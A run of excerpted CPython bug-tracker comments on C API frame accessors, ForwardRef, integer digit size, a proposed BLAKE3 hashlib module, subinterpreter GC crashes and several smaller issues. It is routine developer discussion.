* bpo-40421: "[C API] Add getter functions for PyFrameObject and maybe move PyFrameObject to the internal C API"
* bpo-43760: "The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing)" -- add PyThreadState_EnterTracing()

Hi mareklachbc,
What makes you think that this is a bug?
Since at least version 3.7, you will have seen this warning:
>>> import collections
>>> collections.Mapping
__main__:1: DeprecationWarning: Using or importing the ABCs from
'collections' instead of from 'collections.abc' is deprecated
since Python 3.3,and in 3.9 it will stop working
So this is not a bug.

I suggest to first fix the issue (export the symbol), and then write a second PR to add it to the stable ABI.

Message-ID: <1642001581.89.0.653777729997.issue46356@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
C extensions written for Python 3.10 and older which access directly to the PyFrameObject.f_back member build successfully on Python 3.11, but they can fail because f_back must not be read directly. f_back can be NULL even if the frame has an outer frame.
PyFrameObject*
PyFrame_GetBack(PyFrameObject *frame)
{
assert(frame != NULL);
PyFrameObject *back = frame->f_back;
if (back == NULL && frame->f_frame->previous != NULL) {
back = _PyFrame_GetFrameObject(frame->f_frame->previous);
}
Py_XINCREF(back);
return back;
}
I suggest to remove or "hide" this member from the structure. For example, rename "f_back" to "_f_back" to advice developers to not access it directly.

Oh I was wrong, PyFrame_GetLineNumber() code is the same in Python 3.10. It was already a bad idea to read directly the f_lineno member in Python 3.10: PyFrame_GetLineNumber() should always be called.

Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter
In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org>

Andreas H. <ahangauer at gmx.net> added the comment:
Yeah, sure. The use-case is (de)serialization. Right now I use the library cattr, but there are many others.
If you are interested there is related discussion in the cattr board [1].
The original problem is how to define the types for serialization.
1. If everything is a class, things work well, but not if type aliases are used:
2. Type aliases sometimes have to be used - they cannot be avoided in all cases,
especially with recursive types. The famous example is
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
(Note: even though mypy does not support this construct, pylance meanwhile does [2])
3. `typing.Annotated` seems to be made for specifying additional information such as value ranges, right to be used
in (de)serialization + validation contexts. Often these will just be type aliases (not used as class members).
Combination is possible with typing.NewType.
The problem is that the implicit `ForwardRef('Json')` cannot be automatically resolved (as it only a name with no context).
There is really no way this could be handle inside a library such as cattr.
When one wants to separate interface from implementation this issue is even more complicated. The module where the serialization function is called is typically different from the module with the type definition (This is probably more the norm than the exception)
The option I expored is to explicitly create the ForwardRef and specify the module parameter (even though I have to admit that I also did read that the ForwardRef is only for internal use).
Json = Union[ List[ForwardRef(Json',module=__name__)], Dict[str, ForwardRef(Json',module=__name__)], int, float, bool, None ]
Ugly, but this is better than nothing.
A (worse) alternative is to do
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
typing._eval_type(Json, globals(), locals())
That works since it puts the ForwardRefs into "evaluated" state (self.__forward_value__ is then set)
A third, but future, alternative could be to automatically decompose the argument of ForwardRef into module and type. Then one could write
Json = Union[ List[__name__+'.Json'], Dict[str, __name__+'.Json'], int, float, bool, None ]
and all above problems would be solved.
Then ForwardRef could stay internal and this is more readable. Even though, the static type checkers would need to understand `__name__+'TYPE'` constructs to be useful.
Anyhow, it would be nice to have a solution here.

f_lineno is not part of the API. No field in PyFrameObject is.
I don't know how we can stop people from using them though.
If they don't know better than pulling data out of undocumented internal struct, then I'm not sure an underscore prefix is going to help.
It won't do any harm, though.

I would hope that competent C programmers would know not to read or write to undocumented fields. But if they come from a Python background, that might not be obvious.
If the advice for something is "use Python", we should probably add an API function.

Ah, let me add one point: PEP563 (-> `from __future__ import annotations`) is also not helping.
Even with PEP563 enabled, the JSON example
Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ]
needs to be written in exact the same way as without PEP563. In other words there are cases where `ForwardRef` cannot be avoided. And unforntunately these are the cases where we have the ForwardRef missing context issue.

> I don't know how we can stop people from using them though.
The first option is to promote helper functions to abstract access to the PyFrameObject structure.
The second option is to make the whole structure opaque and enforce the usage of helper functions. Before being able to do that, we need to prepare Cython and a few more popular C extensions for that. Right now, Cython still has a lot of code accessing directly PyFrameObject members.
Well, we can discuss that in bpo-40421 ;-)
> If they don't know better than pulling data out of undocumented internal struct, then I'm not sure an underscore prefix is going to help. It won't do any harm, though.
I propose to rename f_back to trigger a build error for existing C extensions which access it directly. So developers have to decide how to handle the change: access the renamed member, or read the doc and use a better way, call PyFrame_GetBack() :-)
I dislike that this incompatible change is "silent" and that developers may only notice the change in production, when it's too late.
Or maybe most C extensions have a a good test suite and will notice the change before it's too late.

Tim Peters <tim at python.org> added the comment:
A feature of the current code is that, while the recursion tree can be very wide, it's not tall, with max depth proportional to the log of k. But it's proportional to k in the proposal (the C(n-j, k-j) term's second argument goes down by at most 20 per recursion level).
So, e.g., C(1000000, 500000) dies with RecursionError in Python; in C, whatever platform-specific weird things can happen when the C stack is blown.
The width of the recursion tree could be slashed in any case by "just dealing with" (say) k <= 20 directly, no matter how large n is. Do the obvious loop with k-1 multiplies, and k-1 divides by the tiny ints in range(2, k+1). Note that "almost all" the calls in your "trace for the old code" listing are due to recurring for k <= 20. Or use Stefan's method: if limited to k <= 20, it only requires a tiny precomputed table of the 8 primes <= 20, and a stack array to hold range(n, n-k, -1); that can be arranged to keep Karatsuba in play if n is large.
An irony is that the primary point of the recurrence is to get Karatsuba multiplication into play, but the ints involved in computing C(240, 112) are nowhere near big enough to trigger that.
To limit recursion depth, I think you have to change your approach to decide in advance the deepest you're willing to risk letting it go, and keep the current j = k // 2 whenever repeatedly subtracting 20 could exceed that.

Stefan Behnel <stefan_ml at behnel.de> added the comment:
Cython should be happy with whatever CPython uses (as long as CPython's header files agree with CPython's build ;-) ).
I saw the RasPi benchmarks on the ML. That would have been my suggested trial platform as well.
https://mail.python.org/archives/list/python-dev at python.org/message/5RJGI6THWCDYTTEPXMWXU7CK66RQUTD4/
The results look ok. Maybe the slowdown for pickling is really the increased data size of integers. And it's visible that some compute-heavily benchmarks like pyaes did get a little slower. I doubt that they represent a real use case on such a platform, though. Doing any kind of number crunching on a RasPi without NumPy would appear like a rather strange adventure.
That said, if we decide to keep 15-bit digits in the end, I wonder if "SIZEOF_VOID_P" is the right decision point. It seems more of a "has reasonably fast 64-bit multiply or not" kind of decision ? however that translates into code. I'm sure there are 32-bit platforms that would actually benefit from 30-bit digits today.
If we find a platform that would be fine with 30-bits but lacks a fast 64-bit multiply, then we could still try to add a platform specific value size check for smaller numbers. Since those are common case, branch prediction might help us more often than not.
But then, I wonder how much complexity this is even worth, given that the goal is to reduce the complexity. Platform maintainers can still decide to configure the digit size externally for the time being, if it makes a difference for them. Maybe switching off 15-bits by default is just good enough for the next couple of years to come. :)

PEP 514 is the way to find it on Windows (you should be able to look directly for your supported version, rather than enumerating to search). As far as I know, the best way to find it on macOS and Linux is to search PATH for "python3.X".
Appreciate the size concerns. The Python runtime comes down to about 10MB with some basic tricks (already done on Windows in the embeddable distro), such as excluding the docs, test suite and zipping the standard library. It's possible with different tricks to do the same on other platforms, so you may even find the best balance for yourselves and your users is to repackage those and do a download-on-demand, rather than looking for a system installed Python.
> as an installer, it should be the most forgotten part of python that usually runs for once or twice.
Oh I wish this were the case! Installers should be forgotten, but they need to be 100% reliable or people *really* notice :)
But updating the installer build to target ARM64 while generating an x86 executable should be possible, it just hasn't been done yet.

They are also influenced by various compiler options to choose between
32-bit and 64-bit fields. This makes it impossible to use the standard
names as part of an ABI, because we can't/don't enforce that the
preprocessor definitions match.
We should isolate all structures from libc/equivalent in our public API
so that we can ensure compatibility. (FILE* was historically also an
issue, but that was bad enough that Windows fixed it on their side. The
rest of the C runtime library still bleeds everywhere, so we definitely
don't want it or its semantics in our public API if avoidable.)

> Solves the "Make sure new member of socket address initialized." warning for the bluetooth sockaddr_l2cap usage.
You would to elaborate how you checked that all members of the socket address are initialized? Which socketmodule.c functions use this type? Are all members initialized?
https://www.leidinger.net/FreeBSD/dox/netgraph/html/d2/de3/structsockaddr__l2cap.html
A quick search points me to:
https://www.leidinger.net/FreeBSD/dox/netgraph/html/d2/de3/structsockaddr__l2cap.html
---
u_char l2cap_len
u_char l2cap_family
u_int16_t l2cap_psm
bdaddr_t l2cap_bdaddr
u_int16_t l2cap_cid
u_int8_t l2cap_bdaddr_type
---
In BTPROTO_L2CAP case of getsockaddrarg(), it seems like only l2cap_family and l2cap_bdaddr are set, other members are set to 0. Is it enough? It seems like the important call is:
memset(addr, 0, sizeof(struct sockaddr_l2));
On FreeBSD, socketmodule.c uses:
#define sockaddr_l2 sockaddr_l2cap

Subject: [issue46360] Inconsistent import behavior for (unusual) submodules
Message-ID: <1642025090.39.0.843504931319.issue46360@roundup.psfhosted.org>
New submission from Eric Snow <ericsnowcurrently at gmail.com>:
Let's look at a hypothetical module "spam" and its submodule "spam.eggs":
```
# spam.py
import sys
sys.modules['spam.eggs'] = None
```
Then:
>>> import spam.eggs
>>> import sys
>>> sys.modules['spam.eggs'] is None
True
>>> spam.eggs
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: module 'spam' has no attribute 'eggs'
The key inconsistent behaviors:
* `import spam.eggs` succeeded even though the sys.modules entry is None
* `import spam.eggs` succeeded even though "spam" isn't a package (e.g. no `__path__`, `spec.submodule_search_locations`, etc.)
* the "eggs" attr wasn't bound on "spam"
The relevant code is _find_and_load_unlocked() and _find_and_load() in Lib/importlib/_bootstrap.py.
In _find_and_load_unlocked() we first import the parent module. Then we have a special case, where we see if "spam.eggs" was added to sys.modules as a side effect. If it was then we short-circuit the rest of import and return the submodule as-is. This leads to some of the inconsistent behavior described above, since the subsequent code (e.g. checks, binding to the parent) get skipped.
In _find_and_load() we have code which raises ModuleNotFoundError if the resulting module is None, which acts as a marker that importing the module is disabled. This check is always skipped when importing the module for the first time, leading to the other inconsistent behavior from above.
The is definitely a corner case, but os.path demonstrates it's a real scenario. In fact, os.path is what drew my attention to this code.
Is it worth fixing? The change shouldn't be invasive so I'm leaning toward yes. It isn't a high priority though.

Subject: [issue46361] Small ints aren't always cached properly
Message-ID: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org>
New submission from Brandt Bucher <brandtbucher at gmail.com>:
To my surprise, it seems that it's possible to create "small" integers that should live in _PyLong_SMALL_INTS, but don't. Here are two examples I've found:
>>> import decimal
>>> i = int(decimal.Decimal(42)) # Modules/_decimal/_decimal.c:dec_as_long
>>> i
42
>>> i is 42
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> i = int.from_bytes(bytes([42])) # Objects/longobject.c:_PyLong_FromByteArray
>>> i
42
>>> i is 42
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
I'm not entirely sure if this is "allowed" or not, but in any case it seems beneficial to reach into the small ints here (provided it doesn't hurt performance, of course).
I'm testing out simple fixes for both of these now.

ISTM that the asymptotic benefits of Karatsuba multiplication are mostly lost when each of the factors has to be built-up recursively prior to the multiply. Also, the benefits of Karatsuba only start to appear at around 400-bit numbers. For us, we don't get there until comb(400, 200). Even there, almost all of the multiplications are with smaller values that get no benefit at all from Karatsuba multiplication. IOW, I don't think Karatsuba multiplication has been helping at all. More likely, the improvement came from a reduced number of divisions.
The depth issue is a red herring. The fixed j approach is only used up to n=235.? The largest input, comb(235, 117), recurses only five levels C(215,97), C(195,77),
C(175,57), C(155,37), C(135,17) before handing off to the j=k//2 algorithm. Five levels of width one is so inexpensive that it isn't worth talking about, especially when considering how many PyLong multiplies and divides are saved.?
? Jlim = 235 in the posted comb_pole.py. I've since changed the span of precomputed combinations to C(n, 20) where 87 ? n ? 250.
? See the trace in the previous post showing a seven-fold reduction in the number of PyLong multiply and divide operations.

I prepared 3 pull requests to revert the commit 7247407c35330f3f6292f1d40606b7ba6afd5700:
* PR 30564: main branch
* PR 30565: 3.10 branch
* PR 30566: 3.9 branch
The problem is that the "Check if the ABI has changed" CI job fails in 3.9 and 3.10 branches.
I recently had the issue for a different revert in bpo-46006: I decided to keep the "removed" member, and mark it as "unused". See the commit 72c260cf0c71eb01eb13100b751e9d5007d00b70 in the 3.10 branch:
struct _Py_unicode_state {
(...)
- PyObject *interned;
+ // Unused member kept for ABI backward compatibility with Python 3.10.0:
+ // see bpo-46006.
+ PyObject *unused_interned;
(...)
}
I can keep the "gc" member in PyInterpreterState, but adding a new "gc" member in the _PyRuntimeState structure also causes the ABI CI check to fail.

My concern is not that optparse will be taken away. My concern is that the documentation incorrectly discourages its use.
https://docs.python.org/3/library/optparse.html
?Deprecated since version 3.2: The optparse module is deprecated and will not be developed further; development will continue with the argparse module.?
Given that the apparent conclusion of this bug is that argparse has also become too difficult to fix, either argparse should be deprecated for exactly the same reason, or optparse should be un-deprecated.
Most programs don?t need the extra features of argparse, and optparse doesn?t have this bug, so optparse is a better default choice; the documentation should not be encouraging argparse over it.

Jack O'Connor <oconnor663 at gmail.com> added the comment:
I was about to say the only missing feature was docstrings, but then I realized I hadn't included releasing the GIL. I've added that and pushed an update just now. Fingers crossed there's nothing else I've missed. I think it's in reasonably good shape, and I'd like to propose it for inclusion in 3.11.
However, I'm not very experienced with setup.py or the Python C API, so I might not be the best judge of shape. Here are some highlights for reviewers, where I think the implementation (mostly the build) could be shaky:
- Platform detection. In setup.py I assume that the target platform of the build is the same as the current interpreter's platform. So for example, if the current interpreter has sys.maxsize==2**31-1, I assume we're compiling for 32-bit. This clearly doesn't allow for any sort of cross-compilation, and in general I need feedback about whether there's a more correct way to obtain the target platform.
- Compiling assembly files. On Unix this is easy, because we can supply *.S files as `extra_objects` and GCC/Clang will do the right thing. But on Windows this isn't easy. Currently I shell out to vswhere.exe, ask it for the path to the latest version of the ml64.exe assembler, and then shell out to that to build .obj files. Then I pass those assembled .obj files as `extra_objects`. This feels awfully manual, and there's a good chance I've missed some better-supported way to do it. I assume we don't want to check in the .obj files?
- Does Python support the GNU ABI on Windows? We have assembly files for this in vendor/, but I'm not currently building them.
- Compiling intrinsics files for 32-bit x86. In this case, I create a `ccompiler.new_compiler()` for each intrinsics file, so that I can set the appropriate flags for each. This is relatively clean, but it leads to things getting rebuilt every single time, rather than participating in `setup.py build` caching. Maybe nobody cares about this, but again it makes me think there might be a better-supported way to do it.
- blake3module.c contains an awful lot of gotos to handle allocation failure cases. Is this still considered a best practice? These are bug-prone, and I'm not sure how to test them.
- Existing hashlib implementations include an optimization where they avoid allocating an internal mutex until they see a long input and want to release the GIL. As a quirky side effect of this, they handle allocation failures for that mutex by falling back to the do-not-release-the-GIL codepath. That feels kind of complicated to me, and in my code I'm always allocating the mutex during initialization. This doesn't seem to make much of a performance difference when I measure it, but there might be use cases I haven't considered.
Here are some other API details that might be worth bikeshedding:
- The `max_threads` parameter is currently defined to take a special value, `blake3.AUTO`, to indicate that the implementation may use as many threads as it likes. (The C implementation doesn't include multithreading support, but it's API-compatible with the Rust implementation.) `blake3.AUTO` is currently a class attribute equal to -1. We may want to bikeshed this name or propose some other representation.
- BLAKE3 has three modes: regular hashing, keyed hashing, and key derivation. The keyed hashing mode takes a 32-byte key, and the key derivation mode takes a context string. Calling the 32-byte key `key` seems good. Calling the context string `context` seems less good. Larry has pointed out before that lots of random things are called `context`, and readers might not understand what they're seeing. I currently call it `derive_key_context` instead, but we could bikeshed this.
- I check `itemsize` on input Py_buffers and throw an exception if it's anything other than 1. My test suite exercises this, see `test_int_array_fails`. However, some (all?) standard hashes don't do this check. For example:
>>> from hashlib import sha256
>>> import array
>>> a = array.array("i", [255])
>>> sha256(a).hexdigest()
'81ff65efc4487853bdb4625559e69ab44f19e0f5efbd6d5b2af5e3ab267c8e06'
>>> sha256(bytes([0xff, 0, 0, 0])).hexdigest()
'81ff65efc4487853bdb4625559e69ab44f19e0f5efbd6d5b2af5e3ab267c8e06'
Here we can see sha256() hashing an array of int. On my machine, an int is 4 little-endian bytes, but of course this sort of thing isn't portable. The same array will result in a different SHA-256 output on a big-endian machine, or on a machine with ints of a different size. This seems undesirable, and I'm surprised that hashlib allows it. However, if there's some known compatibility reason why we have to allow it, I could remove this check.

If this is included in CPython, it won't be using setup.py, so this isn't a concern.
I don't think there's a way to use setup.py to cross-compile, so I'm not sure this ever was a concern.
> - Compiling assembly files.
AFAICT Python currently ships exactly one assembly file, "Modules/_decimal/libmpdec/vcdiv64.asm", which is only built on Windows. It would be a brave new world of configure.ac hacking to build assembly language files on POSIX platforms. As a first pass I say we merge the reference C implementation. Maybe someday we could add the SIMD assembly language stuff--or use the one built in to OpenSSL (if they ever add BLAKE3).
> I assume we don't want to check in the .obj files?
Correct, we don't.

Works for me, please keep it.

Do you mean portable-only C code, or portable + intrinsics? If the assembly files are out, I'd advocate for the latter. The intrinsics implementations are nearly as fast as the assembly code, and both of those are several times faster than the portable code. You can test this configuration with my current setup.py by setting the env var FORCE_INTRINSICS=1.

Yeah by intrinsics I mean stuff like _mm256_add_epi32(). All of that stuff is in these vendored files:
blake3_avx2.c
blake3_avx512.c
blake3_neon.c
blake3_sse2.c
blake3_sse41.c
Also to Micha?'s question above, I'm not necessarily opposed to publishing something like "blake3-c" on PyPI once things stabilize. Even if we get BLAKE3 into hashlib in 3.11, PyPI modules will be useful to folks running older versions, and not everyone wants to install the Rust toolchain.

Message-ID: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org>
New submission from neonene <nicesalmon at gmail.com>:
3.11a3+ introduced the C version of abspath(), which shows incompletely normalized absolute path (see msg410068):
>>> os.path.abspath(r'\\spam\\eggs. . .')
'\\\\spam\\\\eggs. . .'
>>> os.path.abspath('C:\\spam. . .')
'C:\\spam. . .'
>>> os.path.abspath('C:\\nul')
'C:\\nul'
The design is efficient on startup with getpath_abspath(), but ntpath.abspath()'s result after startup should be more normalized.

Message-ID: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org>
New submission from perlang <diancn at sina.com>:
In this URL,
https://docs.python.org/zh-cn/3.7/library/ctypes.html
There are two typos of '??' , the correct should be '??'(means callback) I think.
Best Regards,
perlang

Ah okay, Looks like bpo-46195 is the root of this issue.
In this case, backporting is reasonable.

Message-ID: <1642062291.75.0.573432882614.issue46364@roundup.psfhosted.org>
New submission from xoph <xoph at posteo.de>:
asyncio.create_subprocess_exec and asyncio.create_subprocess_shell fail with "No such device or address" when called on a program that attempts to invoke `/dev/stdin` on Linux.
This happens in contrast to the subprocess module and was discussed in the this thread: https://stackoverflow.com/questions/70624413/how-to-read-from-dev-stdin-with-asyncio-create-subprocess-exec
It seems while subprocess uses a pipe, asyncio uses socket.socketpair() to communicate with the subprocess which in turn appears to fail for `/dev/stdin`

I don't *think* we currently rely on small integers being cached anywhere in the implementation (and neither do we guarantee anywhere in the docs that small integers will be cached), so as far as I can tell these omissions shouldn't lead to user-visible bugs.
I agree that these cases should be fixed, though.

And there are some similar things going on in rangeobject.c.

if (r->step == _PyLong_GetOne()) {
return idx;
}
Again, technically "okay", since it's only a fast path and the slow path that follows will still do the right thing with a 1 that's not "the" 1, but it feels fragile.

Subject: [issue46070] [subinterpreters] crash when importing _sre in
subinterpreters in parallel (Python 3.9 regression)
In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org>
Message-ID: <1642087964.12.0.933766942461.issue46070@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
When the crash occurs, the _sre.compile function is not destroyed in the interpreter which created the function.
The crash is related to _sre.compile method. This method is created in PyInit__sre() called by "import _sre".
On Windows, the _sre module is not imported at startup. So it's imported first in a subinterpreter.
In Python 3.9, the _sre module doesn't use the multiphase initialization API and PyModuleDef.m_size = -1. When the module is imported, _PyImport_FixupExtensionObject() copies the module dictionary into PyModuleDef.m_copy.
In Py_Finalize() and Py_EndInterpreter(), _PyImport_Cleanup() does two things:
* (1) set _sre.__dict__['compile'] to None -> kill the first reference to the function
* (2) call _PyInterpreterState_ClearModules() which does Py_CLEAR(def->m_base.m_copy), clear the cached copy of the _sre module dict -> kill the second reference
I modified Python to add an "ob_interp" member to PyObject to log in which interpreter an object is created. I also modified meth_dealloc() to log when _sre.compile function is deleted.
Extract of the reformatted output to see what's going on:
---
(...)
(1)
fixup: COPY _sre ModuleDef copy: def=00007FFF19209810 interp=000001EC1846F2A0
(2)
import: UPDATE(_sre ModuleDef copy): interp=000001EC184AB790
(3)
_PyImport_Cleanup: interp=000001EC1846F2A0
_PyInterpreterState_ClearModules: PY_CLEAR _sre ModuleDef m_copy: def=00007FFF19209810 interp=000001EC1846F2A0
(4)
_PyImport_Cleanup: interp=000001EC184AB790
meth_dealloc(compile): m->ob_interp=000001EC1846F2A0, interp=000001EC184AB790
Windows fatal exception: access violation
(...)
---
Steps:
* (1)
* interpreter #1 (000001EC1846F2A0) creates the _sre.compile function
* interpreter #1 (000001EC1846F2A0) copies _sre module dict into PyModuleDef.m_copy
* at this point, _sre.compile should have 2 references
* (2)
* interpreter #2 (000001EC184AB790) imports _sre: it creates a new module object and copies the function from PyModuleDef.m_copy
* at this point, _sre.compile should have 3 references
* (3)
* interpreter #1 exit: Py_EndInterpreter() calls _PyImport_Cleanup()
* at this point, _sre.compile should have 1 reference
* (4)
* interpreter #2 exit: Py_EndInterpreter() calls _PyImport_Cleanup()
* the last reference to _sre.compile is deleted: 0 reference
* meth_dealloc() is called
The first problem is that the function was created in the interpreter #1 but deleted in the interpreter #2.
The second problem is that the function is tracked by the GC and it is part of the GC list of the interpreter #1. When the interpreter #2 destroys the function, the GC list of interpreter #1 is already freed: PyGC_Head contains dangling pointers.

All docs are redirecting to `/license.html`, this allow it to work also out of docs.python.org.
> 3.9 docs have the same; wouldn?t it be better to have `/3.9/license.html`?
It's maybe a slight better yes (the page should be the same so I don't know if it make real difference), but doing so means a bit of complexity, which I don't think is worth it.
I tried to keep it simple for this fix (the previous state was "links to the current page" which was worse).

Daniel Carpenter <dansebcar at gmail.com> added the comment:
I'm not sure if this is an issue or by design, but this DeprecationWarning behaves differently to other DeprecationWarnings.
A normal DeprecationWarning triggered by code in __main__ is printed by default:
$ python -c 'import warnings; warnings.warn("test", DeprecationWarning)'
<string>:1: DeprecationWarning: test
But this one is silent:
$ python -c '"\,"'
[no output]
To see this DeprecationWarning at all, I need to type:
$ python -Wdefault -c '"\,"'
<string>:1: DeprecationWarning: invalid escape sequence '\,'
But that enables this DeprecationWarning for all modules, not just __main__ .
I've tested this with Python 3.9 on debian bullseye and the 3.10 docker image.

This issue has a complex history.
(*) I made the GC state per-interpreter: commit 7247407c35330f3f6292f1d40606b7ba6afd5700 (Nov 20, 2019)
(*) This change triggered a _PyImport_FixupExtensionObject() bug in sub-interpreter, I fixed it with commit 82c83bd907409c287a5bd0d0f4598f2c0538f34d (Nov 22, 2019)
(*) My _PyImport_FixupExtensionObject() fix introduced bpo-44050 regression, it was fixed by commit b9bb74871b27d9226df2dd3fce9d42bda8b43c2b (Oct 5, 2021)
(*) A race condition in the _asyncio extension has been identified and fixed by the commit b127e70a8a682fe869c22ce04c379bd85a00db67 (Jan 7, 2021)
(*) I identified a race condition introduced by the per-interpreter GC state cahnge: I proposed GH-30577 to fix it.
So far, the GC race condition has only been reproduced on Windows with Python 3.9 and the _sre exception. On Python 3.10 and newer, it's harder to reproduce the crash using stdlib extensions since many of them have been ported to the multi-phase initializatioin API.
The GC race condition involves dangling pointers and depends on the memory allocator and when GC collections are triggered.
The bug is that a C function object (_sre.compile) is created in an interpreter, tracked by the GC list of this interpreter, and then it is destroye and untracked in another interpreter. The problem is that the object is untracked after the GC list has been destroyed and so "prev" and "next" objects of the PyGC_Head structure *can* become dangling pointers.
It's unclear to me what are the "prev" and "next" objects of the C function causing the crash (_sre.compile). At least, it seems like it's also used by more than one interpreter: it should *not* be done, see bpo-40533.

FYI, this was done by me in an earlier comment which we ended up
reverting. Later you basically un.reverted that.
> The bug is that a C function object (_sre.compile) is created in an interpreter, tracked by the GC list of this interpreter, and then it is destroye and untracked in another interpreter.
FWIW, at one point I had a branch that supported sharing read-only
Py_Buffer data. When the receiving interpreter was done with it I'd
call Py_AddPendingCall() to schedule the cleanup in the "owner"
interpreter. However, this only worked because I kept track of the
owner. Adding that pointer to every object wouldn't be feasible but I
suppose there are other things we could do that wouldn't be super
inefficient, like don't worry about it for the main interpreter, use a
hash table (Victor's idea), borrow some of the bits of the PyObject
head to store a flag or even an index into an array (if there are only
a few interpreters), or even make the allocator per-interpreter and
then extrapolate the interpreter based on the object's address.
Regardless, it is still much simpler to make all objects per-interpreter.

Sadly, Py_FrozenMain() is still missing on Windows. See:
https://github.com/python/cpython/pull/30556#issuecomment-1012032712
Until Windows also exports the symbol, I don't think that we can add the symbol to the stable ABI.
I prefer to not backport the change since it's always risky to break the build system on a stable branch.
If someone wants to fix the Windows build to also export Py_FrozenMain(), please open a new issue.
I consider that the initial issue is fixed, so I close the issue.

Mark Dickinson <dickinsm at gmail.com> added the comment:
Thanks, Stefan. I think I'm going to go ahead with the first step of making 30-bit digits the default, then, but leaving the 15-bit digit option present.
> That said, if we decide to keep 15-bit digits in the end, I wonder if "SIZEOF_VOID_P" is the right decision point. It seems more of a "has reasonably fast 64-bit multiply or not" kind of decision
Agreed. And most platforms we care about _do_ seem to have such an instruction, so "30-bit digits unless the builder explicitly indicates otherwise - e.g., via configure options or pyconfig.h edits" seems reasonable.
My other worry is division. It's less important than multiplication in the sense that I'd expect division operations to be rarer than multiplications in typical code, but the potential impact for code that _does_ make heavy use of division is greater. With 30-bit digits, all the longobject.c source actually *needs* is a 64-bit-by-32-bit unsigned division for cases where the result is guaranteed to fit in a uint32_t. If we're on x86, there's an instruction for that (DIVL), so you'd think that we'd be fine. But without using inline assembly, it seems impossible to persuade current versions of either of GCC or Clang[*] to generate that DIVL instruction - instead, they both want to do a 64-bit-by-64-bit division, and on x86 that involves making a call to a dedicated __udivti3 intrinsic, which is potentially multiple times slower than a simple DIVL.
The division problem affects x64 as well: GCC and Clang currently generate a DIVQ instruction when all we need is a DIVL.
> If we find a platform that would be fine with 30-bits but lacks a fast 64-bit multiply, then we could still try to add a platform specific value size check for smaller numbers. Since those are common case, branch prediction might help us more often than not.
Yes, I think that could work, both for multiplication and division.
[*] Visual Studio 2019 _does_ apparently provide a _udiv64 intrinsic, which we should possibly be attempting to use: https://docs.microsoft.com/en-us/cpp/intrinsics/udiv64?view=msvc-170

Subject: [issue46367] multiprocessing's "spawn" doesn't actually use spawn
Message-ID: <1642101659.38.0.387431242507.issue46367@roundup.psfhosted.org>
New submission from jakirkham <jakirkham at gmail.com>:
Reporting an issue recently encountered by a colleague.
It appears the `multiprocessing`'s "spawn" mode doesn't actually use POSIX spawn, but instead uses fork+exec[1]. While this is certainly a useful feature in its own right, this not quite one would expect from something described as spawn. AFAICT the documentation doesn't point this out.
This is important as some libraries are not fork-safe and even fork+exec is not sufficient to protect them. Would be helpful if "spawn" did use POSIX spawn and the current behavior was covered under a clearer name (like "forkexec").

Message-ID: <1642103692.11.0.320538567007.issue41226@roundup.psfhosted.org>
jakirkham <jakirkham at gmail.com> added the comment:
The 2nd argument is the `strides`. IOW it is just specifying how to traverse the buffer in memory to visit each of the dimensions.
For the first example where `strides` is not specified, Python makes them C-ordered. IOW `m2.strides` would be `(3, 1)`. Effectively this is represented like this:
```
[[ b"a", b"c", b"e"],
[ b"b", b"d', b"f"]]
```
For the second case where strides are overridden (so `m2.strides` would be `(1, 2)`), we get something like this:
```
[[b"a", b"b", b"c"],
[b"d", b"e", b"f"]]
```
In either case the `1` here has specified which dimension is fastest to traverse along. IOW that content is adjacent in memory.
Should add the reason it is `1` is that for `uint8_t` (or format "B"), this is that type's size. If we had a different format, this would be the size of that format.

So which inconsistency do you want to change because you listed three and this is only one issue. ?
I'm going to assume the "even though sys.modules has `None`" case, which I think is an oversight and should probably get fixed, but I also don't know what promises the language spec makes around this.
As for the other two, you can open separate issues if you want to discuss them, but I double-check what the language spec says as I am tempted to say both are fine (and specifically in the latter case that's on you to have not messed up and left the attribute off).

Eric Snow:

Well, I recall that your change had to be reverted 2 or 3 times because there were many crashes on FreeBSD, and no one understood why it crashed. The root cause was bugs related to the GIL and daemon threads. It took me a while (and multiple commits) to identify and fix all of them:
https://vstinner.github.io/gil-bugfixes-daemon-threads-python39.html
I decided to split your work into smaller changes to better debug these crashes. bpo-36854 contains a few changes, but these changes are based on work that I pushed earlier.
For example, there was a tricky bug related to clearing a Python thread state:

Also, once the GC was made per interpreter, we started to discover more and more tricky reference leaks:
https://vstinner.github.io/subinterpreter-leaks.html
I spent a significant time to reorder code of Py_Finalize() and Py_EndInterpreter() to clear objects earlier or in a different order. Recently, I made sure that the free lists can no longer be used after they are cleared. It took some notes at:
https://pythondev.readthedocs.io/finalization.html
One of the hardest fix was the commit 9ad58acbe8b90b4d0f2d2e139e38bb5aa32b7fb6 of bpo-19466. To make this change, first I had to fix a very old bug of PyThreadState_Clear() with commit 5804f878e779712e803be927ca8a6df389d82cdf (bpo-20526).
Well, it was a long journey and it's not done yet :-)

New submission from STINNER Victor <vstinner at python.org>:
While debugging the sub-interpreter crash bpo-46070, I noticed that faulthandler only logs the Python thread state of a single interpreter. When a bug involves multiple interpreters, it is useful to log all interpreters.

Attached patch is an incomplete quick & dirty implementation to log all interpreters in _Py_DumpTracebackThreads().
A better implementation should leave the current behavior unmodified, add a new C function, and add all_interpreters=False parameter to the following faulthandler functions:
* dump_traceback()
* enable()
* register()

I don't get what you mean.
Can you please show me which functions initialize sockaddr_l2cap structures and explain how the current code fills all members?
I don't know the code well enough to approve your PR 30560.

Yep, I agree. That's the case I was looking at in the first place. I noticed the other two as I was hacking together code to verify the None behavior. :) Bothering to change those would be more trouble than its worth.

Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside
NewType
Message-ID: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org>
